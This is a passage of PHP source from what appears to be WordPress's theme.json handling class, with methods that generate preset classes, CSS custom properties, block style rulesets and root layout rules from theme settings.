									);
								}
							}

							$layout_selector = sprintf(
								'%s .%s%s',
								$selector,
								$class_name,
								$base_style_rule['selector']
							);
							$block_rules    .= static::to_ruleset( $layout_selector, $declarations );
						}
					}
				}
			}
		}
		return $block_rules;
	}

	/**
	 * Creates new rulesets as classes for each preset value such as:
	 *
	 *   .has-value-color {
	 *     color: value;
	 *   }
	 *
	 *   .has-value-background-color {
	 *     background-color: value;
	 *   }
	 *
	 *   .has-value-font-size {
	 *     font-size: value;
	 *   }
	 *
	 *   .has-value-gradient-background {
	 *     background: value;
	 *   }
	 *
	 *   p.has-value-gradient-background {
	 *     background: value;
	 *   }
	 *
	 * @since 5.9.0
	 *
	 * @param array    $setting_nodes Nodes with settings.
	 * @param string[] $origins       List of origins to process presets from.
	 * @return string The new stylesheet.
	 */
	protected function get_preset_classes( $setting_nodes, $origins ) {
		$preset_rules = '';

		foreach ( $setting_nodes as $metadata ) {
			if ( null === $metadata['selector'] ) {
				continue;
			}

			$selector      = $metadata['selector'];
			$node          = _wp_array_get( $this->theme_json, $metadata['path'], array() );
			$preset_rules .= static::compute_preset_classes( $node, $selector, $origins );
		}

		return $preset_rules;
	}

	/**
	 * Converts each styles section into a list of rulesets
	 * to be appended to the stylesheet.
	 * These rulesets contain all the css variables (custom variables and preset variables).
	 *
	 * See glossary at https://developer.mozilla.org/en-US/docs/Web/CSS/Syntax
	 *
	 * For each section this creates a new ruleset such as:
	 *
	 *     block-selector {
	 *       --wp--preset--category--slug: value;
	 *       --wp--custom--variable: value;
	 *     }
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added the `$origins` parameter.
	 *
	 * @param array    $nodes   Nodes with settings.
	 * @param string[] $origins List of origins to process.
	 * @return string The new stylesheet.
	 */
	protected function get_css_variables( $nodes, $origins ) {
		$stylesheet = '';
		foreach ( $nodes as $metadata ) {
			if ( null === $metadata['selector'] ) {
				continue;
			}

			$selector = $metadata['selector'];

			$node                    = _wp_array_get( $this->theme_json, $metadata['path'], array() );
			$declarations            = static::compute_preset_vars( $node, $origins );
			$theme_vars_declarations = static::compute_theme_vars( $node );
			foreach ( $theme_vars_declarations as $theme_vars_declaration ) {
				$declarations[] = $theme_vars_declaration;
			}

			$stylesheet .= static::to_ruleset( $selector, $declarations );
		}

		return $stylesheet;
	}

	/**
	 * Given a selector and a declaration list,
	 * creates the corresponding ruleset.
	 *
	 * @since 5.8.0
	 *
	 * @param string $selector     CSS selector.
	 * @param array  $declarations List of declarations.
	 * @return string The resulting CSS ruleset.
	 */
	protected static function to_ruleset( $selector, $declarations ) {
		if ( empty( $declarations ) ) {
			return '';
		}

		$declaration_block = array_reduce(
			$declarations,
			static function ( $carry, $element ) {
				return $carry .= $element['name'] . ': ' . $element['value'] . ';'; },
			''
		);

		return $selector . '{' . $declaration_block . '}';
	}

	/**
	 * Given a settings array, returns the generated rulesets
	 * for the preset classes.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added the `$origins` parameter.
	 *
	 * @param array    $settings Settings to process.
	 * @param string   $selector Selector wrapping the classes.
	 * @param string[] $origins  List of origins to process.
	 * @return string The result of processing the presets.
	 */
	protected static function compute_preset_classes( $settings, $selector, $origins ) {
		if ( static::ROOT_BLOCK_SELECTOR === $selector ) {
			/*
			 * Classes at the global level do not need any CSS prefixed,
			 * and we don't want to increase its specificity.
			 */
			$selector = '';
		}

		$stylesheet = '';
		foreach ( static::PRESETS_METADATA as $preset_metadata ) {
			if ( empty( $preset_metadata['classes'] ) ) {
				continue;
			}
			$slugs = static::get_settings_slugs( $settings, $preset_metadata, $origins );
			foreach ( $preset_metadata['classes'] as $class => $property ) {
				foreach ( $slugs as $slug ) {
					$css_var    = static::replace_slug_in_string( $preset_metadata['css_vars'], $slug );
					$class_name = static::replace_slug_in_string( $class, $slug );

					// $selector is often empty, so we can save ourselves the `append_to_selector()` call then.
					$new_selector = '' === $selector ? $class_name : static::append_to_selector( $selector, $class_name );
					$stylesheet  .= static::to_ruleset(
						$new_selector,
						array(
							array(
								'name'  => $property,
								'value' => 'var(' . $css_var . ') !important',
							),
						)
					);
				}
			}
		}

		return $stylesheet;
	}

	/**
	 * Function that scopes a selector with another one. This works a bit like
	 * SCSS nesting except the `&` operator isn't supported.
	 *
	 * <code>
	 * $scope = '.a, .b .c';
	 * $selector = '> .x, .y';
	 * $merged = scope_selector( $scope, $selector );
	 * // $merged is '.a > .x, .a .y, .b .c > .x, .b .c .y'
	 * </code>
	 *
	 * @since 5.9.0
	 *
	 * @param string $scope    Selector to scope to.
	 * @param string $selector Original selector.
	 * @return string Scoped selector.
	 */
	public static function scope_selector( $scope, $selector ) {
		$scopes    = explode( ',', $scope );
		$selectors = explode( ',', $selector );

		$selectors_scoped = array();
		foreach ( $scopes as $outer ) {
			foreach ( $selectors as $inner ) {
				$outer = trim( $outer );
				$inner = trim( $inner );
				if ( ! empty( $outer ) && ! empty( $inner ) ) {
					$selectors_scoped[] = $outer . ' ' . $inner;
				} elseif ( empty( $outer ) ) {
					$selectors_scoped[] = $inner;
				} elseif ( empty( $inner ) ) {
					$selectors_scoped[] = $outer;
				}
			}
		}

		$result = implode( ', ', $selectors_scoped );
		return $result;
	}

	/**
	 * Gets preset values keyed by slugs based on settings and metadata.
	 *
	 * <code>
	 * $settings = array(
	 *     'typography' => array(
	 *         'fontFamilies' => array(
	 *             array(
	 *                 'slug'       => 'sansSerif',
	 *                 'fontFamily' => '"Helvetica Neue", sans-serif',
	 *             ),
	 *             array(
	 *                 'slug'   => 'serif',
	 *                 'colors' => 'Georgia, serif',
	 *             )
	 *         ),
	 *     ),
	 * );
	 * $meta = array(
	 *    'path'      => array( 'typography', 'fontFamilies' ),
	 *    'value_key' => 'fontFamily',
	 * );
	 * $values_by_slug = get_settings_values_by_slug();
	 * // $values_by_slug === array(
	 * //   'sans-serif' => '"Helvetica Neue", sans-serif',
	 * //   'serif'      => 'Georgia, serif',
	 * // );
	 * </code>
	 *
	 * @since 5.9.0
	 *
	 * @param array    $settings        Settings to process.
	 * @param array    $preset_metadata One of the PRESETS_METADATA values.
	 * @param string[] $origins         List of origins to process.
	 * @return array Array of presets where each key is a slug and each value is the preset value.
	 */
	protected static function get_settings_values_by_slug( $settings, $preset_metadata, $origins ) {
		$preset_per_origin = _wp_array_get( $settings, $preset_metadata['path'], array() );

		$result = array();
		foreach ( $origins as $origin ) {
			if ( ! isset( $preset_per_origin[ $origin ] ) ) {
				continue;
			}
			foreach ( $preset_per_origin[ $origin ] as $preset ) {
				$slug = _wp_to_kebab_case( $preset['slug'] );

				$value = '';
				if ( isset( $preset_metadata['value_key'], $preset[ $preset_metadata['value_key'] ] ) ) {
					$value_key = $preset_metadata['value_key'];
					$value     = $preset[ $value_key ];
				} elseif (
					isset( $preset_metadata['value_func'] ) &&
					is_callable( $preset_metadata['value_func'] )
				) {
					$value_func = $preset_metadata['value_func'];
					$value      = call_user_func( $value_func, $preset );
				} else {
					// If we don't have a value, then don't add it to the result.
					continue;
				}

				$result[ $slug ] = $value;
			}
		}
		return $result;
	}

	/**
	 * Similar to get_settings_values_by_slug, but doesn't compute the value.
	 *
	 * @since 5.9.0
	 *
	 * @param array    $settings        Settings to process.
	 * @param array    $preset_metadata One of the PRESETS_METADATA values.
	 * @param string[] $origins         List of origins to process.
	 * @return array Array of presets where the key and value are both the slug.
	 */
	protected static function get_settings_slugs( $settings, $preset_metadata, $origins = null ) {
		if ( null === $origins ) {
			$origins = static::VALID_ORIGINS;
		}

		$preset_per_origin = _wp_array_get( $settings, $preset_metadata['path'], array() );

		$result = array();
		foreach ( $origins as $origin ) {
			if ( ! isset( $preset_per_origin[ $origin ] ) ) {
				continue;
			}
			foreach ( $preset_per_origin[ $origin ] as $preset ) {
				$slug = _wp_to_kebab_case( $preset['slug'] );

				// Use the array as a set so we don't get duplicates.
				$result[ $slug ] = $slug;
			}
		}
		return $result;
	}

	/**
	 * Transforms a slug into a CSS Custom Property.
	 *
	 * @since 5.9.0
	 *
	 * @param string $input String to replace.
	 * @param string $slug  The slug value to use to generate the custom property.
	 * @return string The CSS Custom Property. Something along the lines of `--wp--preset--color--black`.
	 */
	protected static function replace_slug_in_string( $input, $slug ) {
		return strtr( $input, array( '$slug' => $slug ) );
	}

	/**
	 * Given the block settings, extracts the CSS Custom Properties
	 * for the presets and adds them to the $declarations array
	 * following the format:
	 *
	 *     array(
	 *       'name'  => 'property_name',
	 *       'value' => 'property_value,
	 *     )
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added the `$origins` parameter.
	 *
	 * @param array    $settings Settings to process.
	 * @param string[] $origins  List of origins to process.
	 * @return array The modified $declarations.
	 */
	protected static function compute_preset_vars( $settings, $origins ) {
		$declarations = array();
		foreach ( static::PRESETS_METADATA as $preset_metadata ) {
			if ( empty( $preset_metadata['css_vars'] ) ) {
				continue;
			}
			$values_by_slug = static::get_settings_values_by_slug( $settings, $preset_metadata, $origins );
			foreach ( $values_by_slug as $slug => $value ) {
				$declarations[] = array(
					'name'  => static::replace_slug_in_string( $preset_metadata['css_vars'], $slug ),
					'value' => $value,
				);
			}
		}

		return $declarations;
	}

	/**
	 * Given an array of settings, extracts the CSS Custom Properties
	 * for the custom values and adds them to the $declarations
	 * array following the format:
	 *
	 *     array(
	 *       'name'  => 'property_name',
	 *       'value' => 'property_value,
	 *     )
	 *
	 * @since 5.8.0
	 *
	 * @param array $settings Settings to process.
	 * @return array The modified $declarations.
	 */
	protected static function compute_theme_vars( $settings ) {
		$declarations  = array();
		$custom_values = isset( $settings['custom'] ) ? $settings['custom'] : array();
		$css_vars      = static::flatten_tree( $custom_values );
		foreach ( $css_vars as $key => $value ) {
			$declarations[] = array(
				'name'  => '--wp--custom--' . $key,
				'value' => $value,
			);
		}

		return $declarations;
	}

	/**
	 * Given a tree, it creates a flattened one
	 * by merging the keys and binding the leaf values
	 * to the new keys.
	 *
	 * It also transforms camelCase names into kebab-case
	 * and substitutes '/' by '-'.
	 *
	 * This is thought to be useful to generate
	 * CSS Custom Properties from a tree,
	 * although there's nothing in the implementation
	 * of this function that requires that format.
	 *
	 * For example, assuming the given prefix is '--wp'
	 * and the token is '--', for this input tree:
	 *
	 *     {
	 *       'some/property': 'value',
	 *       'nestedProperty': {
	 *         'sub-property': 'value'
	 *       }
	 *     }
	 *
	 * it'll return this output:
	 *
	 *     {
	 *       '--wp--some-property': 'value',
	 *       '--wp--nested-property--sub-property': 'value'
	 *     }
	 *
	 * @since 5.8.0
	 *
	 * @param array  $tree   Input tree to process.
	 * @param string $prefix Optional. Prefix to prepend to each variable. Default empty string.
	 * @param string $token  Optional. Token to use between levels. Default '--'.
	 * @return array The flattened tree.
	 */
	protected static function flatten_tree( $tree, $prefix = '', $token = '--' ) {
		$result = array();
		foreach ( $tree as $property => $value ) {
			$new_key = $prefix . str_replace(
				'/',
				'-',
				strtolower( _wp_to_kebab_case( $property ) )
			);

			if ( is_array( $value ) ) {
				$new_prefix        = $new_key . $token;
				$flattened_subtree = static::flatten_tree( $value, $new_prefix, $token );
				foreach ( $flattened_subtree as $subtree_key => $subtree_value ) {
					$result[ $subtree_key ] = $subtree_value;
				}
			} else {
				$result[ $new_key ] = $value;
			}
		}
		return $result;
	}

	/**
	 * Given a styles array, it extracts the style properties
	 * and adds them to the $declarations array following the format:
	 *
	 *     array(
	 *       'name'  => 'property_name',
	 *       'value' => 'property_value,
	 *     )
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added the `$settings` and `$properties` parameters.
	 * @since 6.1.0 Added `$theme_json`, `$selector`, and `$use_root_padding` parameters.
	 * @since 6.5.0 Output a `min-height: unset` rule when `aspect-ratio` is set.
	 *
	 * @param array   $styles Styles to process.
	 * @param array   $settings Theme settings.
	 * @param array   $properties Properties metadata.
	 * @param array   $theme_json Theme JSON array.
	 * @param string  $selector The style block selector.
	 * @param boolean $use_root_padding Whether to add custom properties at root level.
	 * @return array  Returns the modified $declarations.
	 */
	protected static function compute_style_properties( $styles, $settings = array(), $properties = null, $theme_json = null, $selector = null, $use_root_padding = null ) {
		if ( null === $properties ) {
			$properties = static::PROPERTIES_METADATA;
		}

		$declarations = array();
		if ( empty( $styles ) ) {
			return $declarations;
		}

		$root_variable_duplicates = array();

		foreach ( $properties as $css_property => $value_path ) {
			$value = static::get_property_value( $styles, $value_path, $theme_json );

			if ( str_starts_with( $css_property, '--wp--style--root--' ) && ( static::ROOT_BLOCK_SELECTOR !== $selector || ! $use_root_padding ) ) {
				continue;
			}
			/*
			 * Root-level padding styles don't currently support strings with CSS shorthand values.
			 * This may change: https://github.com/WordPress/gutenberg/issues/40132.
			 */
			if ( '--wp--style--root--padding' === $css_property && is_string( $value ) ) {
				continue;
			}

			if ( str_starts_with( $css_property, '--wp--style--root--' ) && $use_root_padding ) {
				$root_variable_duplicates[] = substr( $css_property, strlen( '--wp--style--root--' ) );
			}

			/*
			 * Look up protected properties, keyed by value path.
			 * Skip protected properties that are explicitly set to `null`.
			 */
			if ( is_array( $value_path ) ) {
				$path_string = implode( '.', $value_path );
				if (
					isset( static::PROTECTED_PROPERTIES[ $path_string ] ) &&
					_wp_array_get( $settings, static::PROTECTED_PROPERTIES[ $path_string ], null ) === null
				) {
					continue;
				}
			}

			// Skip if empty and not "0" or value represents array of longhand values.
			$has_missing_value = empty( $value ) && ! is_numeric( $value );
			if ( $has_missing_value || is_array( $value ) ) {
				continue;
			}

			// Calculates fluid typography rules where available.
			if ( 'font-size' === $css_property ) {
				/*
				 * wp_get_typography_font_size_value() will check
				 * if fluid typography has been activated and also
				 * whether the incoming value can be converted to a fluid value.
				 * Values that already have a clamp() function will not pass the test,
				 * and therefore the original $value will be returned.
				 */
				$value = wp_get_typography_font_size_value( array( 'size' => $value ) );
			}

			if ( 'aspect-ratio' === $css_property ) {
				// For aspect ratio to work, other dimensions rules must be unset.
				// This ensures that a fixed height does not override the aspect ratio.
				$declarations[] = array(
					'name'  => 'min-height',
					'value' => 'unset',
				);
			}

			$declarations[] = array(
				'name'  => $css_property,
				'value' => $value,
			);
		}

		// If a variable value is added to the root, the corresponding property should be removed.
		foreach ( $root_variable_duplicates as $duplicate ) {
			$discard = array_search( $duplicate, array_column( $declarations, 'name' ), true );
			if ( is_numeric( $discard ) ) {
				array_splice( $declarations, $discard, 1 );
			}
		}

		return $declarations;
	}

	/**
	 * Returns the style property for the given path.
	 *
	 * It also converts references to a path to the value
	 * stored at that location, e.g.
	 * { "ref": "style.color.background" } => "#fff".
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added support for values of array type, which are returned as is.
	 * @since 6.1.0 Added the `$theme_json` parameter.
	 * @since 6.3.0 It no longer converts the internal format "var:preset|color|secondary"
	 *              to the standard form "--wp--preset--color--secondary".
	 *              This is already done by the sanitize method,
	 *              so every property will be in the standard form.
	 *
	 * @param array $styles Styles subtree.
	 * @param array $path   Which property to process.
	 * @param array $theme_json Theme JSON array.
	 * @return string|array Style property value.
	 */
	protected static function get_property_value( $styles, $path, $theme_json = null ) {
		$value = _wp_array_get( $styles, $path, '' );

		if ( '' === $value || null === $value ) {
			// No need to process the value further.
			return '';
		}

		/*
		 * This converts references to a path to the value at that path
		 * where the values is an array with a "ref" key, pointing to a path.
		 * For example: { "ref": "style.color.background" } => "#fff".
		 */
		if ( is_array( $value ) && isset( $value['ref'] ) ) {
			$value_path = explode( '.', $value['ref'] );
			$ref_value  = _wp_array_get( $theme_json, $value_path );
			// Only use the ref value if we find anything.
			if ( ! empty( $ref_value ) && is_string( $ref_value ) ) {
				$value = $ref_value;
			}

			if ( is_array( $ref_value ) && isset( $ref_value['ref'] ) ) {
				$path_string      = json_encode( $path );
				$ref_value_string = json_encode( $ref_value );
				_doing_it_wrong(
					'get_property_value',
					sprintf(
						/* translators: 1: theme.json, 2: Value name, 3: Value path, 4: Another value name. */
						__( 'Your %1$s file uses a dynamic value (%2$s) for the path at %3$s. However, the value at %3$s is also a dynamic value (pointing to %4$s) and pointing to another dynamic value is not supported. Please update %3$s to point directly to %4$s.' ),
						'theme.json',
						$ref_value_string,
						$path_string,
						$ref_value['ref']
					),
					'6.1.0'
				);
			}
		}

		if ( is_array( $value ) ) {
			return $value;
		}

		return $value;
	}

	/**
	 * Builds metadata for the setting nodes, which returns in the form of:
	 *
	 *     [
	 *       [
	 *         'path'     => ['path', 'to', 'some', 'node' ],
	 *         'selector' => 'CSS selector for some node'
	 *       ],
	 *       [
	 *         'path'     => [ 'path', 'to', 'other', 'node' ],
	 *         'selector' => 'CSS selector for other node'
	 *       ],
	 *     ]
	 *
	 * @since 5.8.0
	 *
	 * @param array $theme_json The tree to extract setting nodes from.
	 * @param array $selectors  List of selectors per block.
	 * @return array An array of setting nodes metadata.
	 */
	protected static function get_setting_nodes( $theme_json, $selectors = array() ) {
		$nodes = array();
		if ( ! isset( $theme_json['settings'] ) ) {
			return $nodes;
		}

		// Top-level.
		$nodes[] = array(
			'path'     => array( 'settings' ),
			'selector' => static::ROOT_BLOCK_SELECTOR,
		);

		// Calculate paths for blocks.
		if ( ! isset( $theme_json['settings']['blocks'] ) ) {
			return $nodes;
		}

		foreach ( $theme_json['settings']['blocks'] as $name => $node ) {
			$selector = null;
			if ( isset( $selectors[ $name ]['selector'] ) ) {
				$selector = $selectors[ $name ]['selector'];
			}

			$nodes[] = array(
				'path'     => array( 'settings', 'blocks', $name ),
				'selector' => $selector,
			);
		}

		return $nodes;
	}

	/**
	 * Builds metadata for the style nodes, which returns in the form of:
	 *
	 *     [
	 *       [
	 *         'path'     => [ 'path', 'to', 'some', 'node' ],
	 *         'selector' => 'CSS selector for some node',
	 *         'duotone'  => 'CSS selector for duotone for some node'
	 *       ],
	 *       [
	 *         'path'     => ['path', 'to', 'other', 'node' ],
	 *         'selector' => 'CSS selector for other node',
	 *         'duotone'  => null
	 *       ],
	 *     ]
	 *
	 * @since 5.8.0
	 *
	 * @param array $theme_json The tree to extract style nodes from.
	 * @param array $selectors  List of selectors per block.
	 * @return array An array of style nodes metadata.
	 */
	protected static function get_style_nodes( $theme_json, $selectors = array() ) {
		$nodes = array();
		if ( ! isset( $theme_json['styles'] ) ) {
			return $nodes;
		}

		// Top-level.
		$nodes[] = array(
			'path'     => array( 'styles' ),
			'selector' => static::ROOT_BLOCK_SELECTOR,
		);

		if ( isset( $theme_json['styles']['elements'] ) ) {
			foreach ( self::ELEMENTS as $element => $selector ) {
				if ( ! isset( $theme_json['styles']['elements'][ $element ] ) ) {
					continue;
				}
				$nodes[] = array(
					'path'     => array( 'styles', 'elements', $element ),
					'selector' => static::ELEMENTS[ $element ],
				);

				// Handle any pseudo selectors for the element.
				if ( isset( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] ) ) {
					foreach ( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] as $pseudo_selector ) {

						if ( isset( $theme_json['styles']['elements'][ $element ][ $pseudo_selector ] ) ) {
							$nodes[] = array(
								'path'     => array( 'styles', 'elements', $element ),
								'selector' => static::append_to_selector( static::ELEMENTS[ $element ], $pseudo_selector ),
							);
						}
					}
				}
			}
		}

		// Blocks.
		if ( ! isset( $theme_json['styles']['blocks'] ) ) {
			return $nodes;
		}

		$block_nodes = static::get_block_nodes( $theme_json );
		foreach ( $block_nodes as $block_node ) {
			$nodes[] = $block_node;
		}

		/**
		 * Filters the list of style nodes with metadata.
		 *
		 * This allows for things like loading block CSS independently.
		 *
		 * @since 6.1.0
		 *
		 * @param array $nodes Style nodes with metadata.
		 */
		return apply_filters( 'wp_theme_json_get_style_nodes', $nodes );
	}

	/**
	 * A public helper to get the block nodes from a theme.json file.
	 *
	 * @since 6.1.0
	 *
	 * @return array The block nodes in theme.json.
	 */
	public function get_styles_block_nodes() {
		return static::get_block_nodes( $this->theme_json );
	}

	/**
	 * Returns a filtered declarations array if there is a separator block with only a background
	 * style defined in theme.json by adding a color attribute to reflect the changes in the front.
	 *
	 * @since 6.1.1
	 *
	 * @param array $declarations List of declarations.
	 * @return array $declarations List of declarations filtered.
	 */
	private static function update_separator_declarations( $declarations ) {
		$background_color     = '';
		$border_color_matches = false;
		$text_color_matches   = false;

		foreach ( $declarations as $declaration ) {
			if ( 'background-color' === $declaration['name'] && ! $background_color && isset( $declaration['value'] ) ) {
				$background_color = $declaration['value'];
			} elseif ( 'border-color' === $declaration['name'] ) {
				$border_color_matches = true;
			} elseif ( 'color' === $declaration['name'] ) {
				$text_color_matches = true;
			}

			if ( $background_color && $border_color_matches && $text_color_matches ) {
				break;
			}
		}

		if ( $background_color && ! $border_color_matches && ! $text_color_matches ) {
			$declarations[] = array(
				'name'  => 'color',
				'value' => $background_color,
			);
		}

		return $declarations;
	}

	/**
	 * An internal method to get the block nodes from a theme.json file.
	 *
	 * @since 6.1.0
	 * @since 6.3.0 Refactored and stabilized selectors API.
	 *
	 * @param array $theme_json The theme.json converted to an array.
	 * @return array The block nodes in theme.json.
	 */
	private static function get_block_nodes( $theme_json ) {
		$selectors = static::get_blocks_metadata();
		$nodes     = array();
		if ( ! isset( $theme_json['styles'] ) ) {
			return $nodes;
		}

		// Blocks.
		if ( ! isset( $theme_json['styles']['blocks'] ) ) {
			return $nodes;
		}

		foreach ( $theme_json['styles']['blocks'] as $name => $node ) {
			$selector = null;
			if ( isset( $selectors[ $name ]['selector'] ) ) {
				$selector = $selectors[ $name ]['selector'];
			}

			$duotone_selector = null;
			if ( isset( $selectors[ $name ]['duotone'] ) ) {
				$duotone_selector = $selectors[ $name ]['duotone'];
			}

			$feature_selectors = null;
			if ( isset( $selectors[ $name ]['selectors'] ) ) {
				$feature_selectors = $selectors[ $name ]['selectors'];
			}

			$variation_selectors = array();
			if ( isset( $node['variations'] ) ) {
				foreach ( $node['variations'] as $variation => $node ) {
					$variation_selectors[] = array(
						'path'     => array( 'styles', 'blocks', $name, 'variations', $variation ),
						'selector' => $selectors[ $name ]['styleVariations'][ $variation ],
					);
				}
			}

			$nodes[] = array(
				'name'       => $name,
				'path'       => array( 'styles', 'blocks', $name ),
				'selector'   => $selector,
				'selectors'  => $feature_selectors,
				'duotone'    => $duotone_selector,
				'features'   => $feature_selectors,
				'variations' => $variation_selectors,
			);

			if ( isset( $theme_json['styles']['blocks'][ $name ]['elements'] ) ) {
				foreach ( $theme_json['styles']['blocks'][ $name ]['elements'] as $element => $node ) {
					$nodes[] = array(
						'path'     => array( 'styles', 'blocks', $name, 'elements', $element ),
						'selector' => $selectors[ $name ]['elements'][ $element ],
					);

					// Handle any pseudo selectors for the element.
					if ( isset( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] ) ) {
						foreach ( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] as $pseudo_selector ) {
							if ( isset( $theme_json['styles']['blocks'][ $name ]['elements'][ $element ][ $pseudo_selector ] ) ) {
								$nodes[] = array(
									'path'     => array( 'styles', 'blocks', $name, 'elements', $element ),
									'selector' => static::append_to_selector( $selectors[ $name ]['elements'][ $element ], $pseudo_selector ),
								);
							}
						}
					}
				}
			}
		}

		return $nodes;
	}

	/**
	 * Gets the CSS rules for a particular block from theme.json.
	 *
	 * @since 6.1.0
	 *
	 * @param array $block_metadata Metadata about the block to get styles for.
	 *
	 * @return string Styles for the block.
	 */
	public function get_styles_for_block( $block_metadata ) {
		$node                 = _wp_array_get( $this->theme_json, $block_metadata['path'], array() );
		$use_root_padding     = isset( $this->theme_json['settings']['useRootPaddingAwareAlignments'] ) && true === $this->theme_json['settings']['useRootPaddingAwareAlignments'];
		$selector             = $block_metadata['selector'];
		$settings             = isset( $this->theme_json['settings'] ) ? $this->theme_json['settings'] : array();
		$feature_declarations = static::get_feature_declarations_for_node( $block_metadata, $node );

		// If there are style variations, generate the declarations for them, including any feature selectors the block may have.
		$style_variation_declarations = array();
		if ( ! empty( $block_metadata['variations'] ) ) {
			foreach ( $block_metadata['variations'] as $style_variation ) {
				$style_variation_node           = _wp_array_get( $this->theme_json, $style_variation['path'], array() );
				$clean_style_variation_selector = trim( $style_variation['selector'] );

				// Generate any feature/subfeature style declarations for the current style variation.
				$variation_declarations = static::get_feature_declarations_for_node( $block_metadata, $style_variation_node );

				// Combine selectors with style variation's selector and add to overall style variation declarations.
				foreach ( $variation_declarations as $current_selector => $new_declarations ) {
					// If current selector includes block classname, remove it but leave the whitespace in.
					$shortened_selector = str_replace( $block_metadata['selector'] . ' ', ' ', $current_selector );

					// Prepend the variation selector to the current selector.
					$split_selectors    = explode( ',', $shortened_selector );
					$updated_selectors  = array_map(
						static function ( $split_selector ) use ( $clean_style_variation_selector ) {
							return $clean_style_variation_selector . $split_selector;
						},
						$split_selectors
					);
					$combined_selectors = implode( ',', $updated_selectors );

					// Add the new declarations to the overall results under the modified selector.
					$style_variation_declarations[ $combined_selectors ] = $new_declarations;
				}

				// Compute declarations for remaining styles not covered by feature level selectors.
				$style_variation_declarations[ $style_variation['selector'] ] = static::compute_style_properties( $style_variation_node, $settings, null, $this->theme_json );
			}
		}
		/*
		 * Get a reference to element name from path.
		 * $block_metadata['path'] = array( 'styles','elements','link' );
		 * Make sure that $block_metadata['path'] describes an element node, like [ 'styles', 'element', 'link' ].
		 * Skip non-element paths like just ['styles'].
		 */
		$is_processing_element = in_array( 'elements', $block_metadata['path'], true );

		$current_element = $is_processing_element ? $block_metadata['path'][ count( $block_metadata['path'] ) - 1 ] : null;

		$element_pseudo_allowed = array();

		if ( isset( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ] ) ) {
			$element_pseudo_allowed = static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ];
		}

		/*
		 * Check for allowed pseudo classes (e.g. ":hover") from the $selector ("a:hover").
		 * This also resets the array keys.
		 */
		$pseudo_matches = array_values(
			array_filter(
				$element_pseudo_allowed,
				static function ( $pseudo_selector ) use ( $selector ) {
					return str_contains( $selector, $pseudo_selector );
				}
			)
		);

		$pseudo_selector = isset( $pseudo_matches[0] ) ? $pseudo_matches[0] : null;

		/*
		 * If the current selector is a pseudo selector that's defined in the allow list for the current
		 * element then compute the style properties for it.
		 * Otherwise just compute the styles for the default selector as normal.
		 */
		if ( $pseudo_selector && isset( $node[ $pseudo_selector ] ) &&
			isset( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ] )
			&& in_array( $pseudo_selector, static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ], true )
		) {
			$declarations = static::compute_style_properties( $node[ $pseudo_selector ], $settings, null, $this->theme_json, $selector, $use_root_padding );
		} else {
			$declarations = static::compute_style_properties( $node, $settings, null, $this->theme_json, $selector, $use_root_padding );
		}

		$block_rules = '';

		/*
		 * 1. Separate the declarations that use the general selector
		 * from the ones using the duotone selector.
		 */
		$declarations_duotone = array();
		foreach ( $declarations as $index => $declaration ) {
			if ( 'filter' === $declaration['name'] ) {
				unset( $declarations[ $index ] );
				$declarations_duotone[] = $declaration;
			}
		}

		// Update declarations if there are separators with only background color defined.
		if ( '.wp-block-separator' === $selector ) {
			$declarations = static::update_separator_declarations( $declarations );
		}

		// 2. Generate and append the rules that use the general selector.
		$block_rules .= static::to_ruleset( $selector, $declarations );

		// 3. Generate and append the rules that use the duotone selector.
		if ( isset( $block_metadata['duotone'] ) && ! empty( $declarations_duotone ) ) {
			$block_rules .= static::to_ruleset( $block_metadata['duotone'], $declarations_duotone );
		}

		// 4. Generate Layout block gap styles.
		if (
			static::ROOT_BLOCK_SELECTOR !== $selector &&
			! empty( $block_metadata['name'] )
		) {
			$block_rules .= $this->get_layout_styles( $block_metadata );
		}

		// 5. Generate and append the feature level rulesets.
		foreach ( $feature_declarations as $feature_selector => $individual_feature_declarations ) {
			$block_rules .= static::to_ruleset( $feature_selector, $individual_feature_declarations );
		}

		// 6. Generate and append the style variation rulesets.
		foreach ( $style_variation_declarations as $style_variation_selector => $individual_style_variation_declarations ) {
			$block_rules .= static::to_ruleset( $style_variation_selector, $individual_style_variation_declarations );
		}

		return $block_rules;
	}

	/**
	 * Outputs the CSS for layout rules on the root.
	 *
	 * @since 6.1.0
	 *
	 * @param string $selector The root node selector.
	 * @param array  $block_metadata The metadata for the root block.
	 * @return string The additional root rules CSS.
	 */
	public function get_root_layout_rules( $selector, $block_metadata ) {
		$css              = '';
		$settings         = isset( $this->theme_json['settings'] ) ? $this->theme_json['settings'] : array();
		$use_root_padding = isset( $this->theme_json['settings']['useRootPaddingAwareAlignments'] ) && true === $this->theme_json['settings']['useRootPaddingAwareAlignments'];

		/*
		* Reset default browser margin on the root body element.
		* This is set on the root selector **before** generating the ruleset
		* from the `theme.json`. This is to ensure that if the `theme.json` declares
		* `margin` in its `spacing` declaration for the `body` element then these
		* user-generated values take precedence in the CSS cascade.
		* @link https://github.com/WordPress/gutenberg/issues/36147.
		*/
		$css .= 'body { margin: 0;';

		/*
		* If there are content and wide widths in theme.json, output them
		* as custom properties on the body element so all blocks can use them.
		*/
		if ( isset( $settings['layout']['contentSize'] ) || isset( $settings['layout']['wideSize'] ) ) {
			$content_size = isset( $settings['layout']['contentSize'] ) ? $settings['layout']['contentSize'] : $settings['layout']['wideSize'];
			$content_size = static::is_safe_css_declaration( 'max-width', $content_size ) ? $content_size : 'initial';
			$wide_size    = isset( $settings['layout']['wideSize'] ) ? $settings['layout']['wideSize'] : $settings['layout']['contentSize'];
			$wide_size    = static::is_safe_css_declaration( 'max-width', $wide_size ) ? $wide_size : 'initial';
			$css         .= '--wp--style--global--content-size: ' . $content_size . ';';
			$css         .= '--wp--style--global--wide-size: ' . $wide_size . ';';
		}

		$css .= ' }';

		if ( $use_root_padding ) {
			// Top and bottom padding are applied to the outer block container.
			$css .= '.wp-site-blocks { padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom); }';
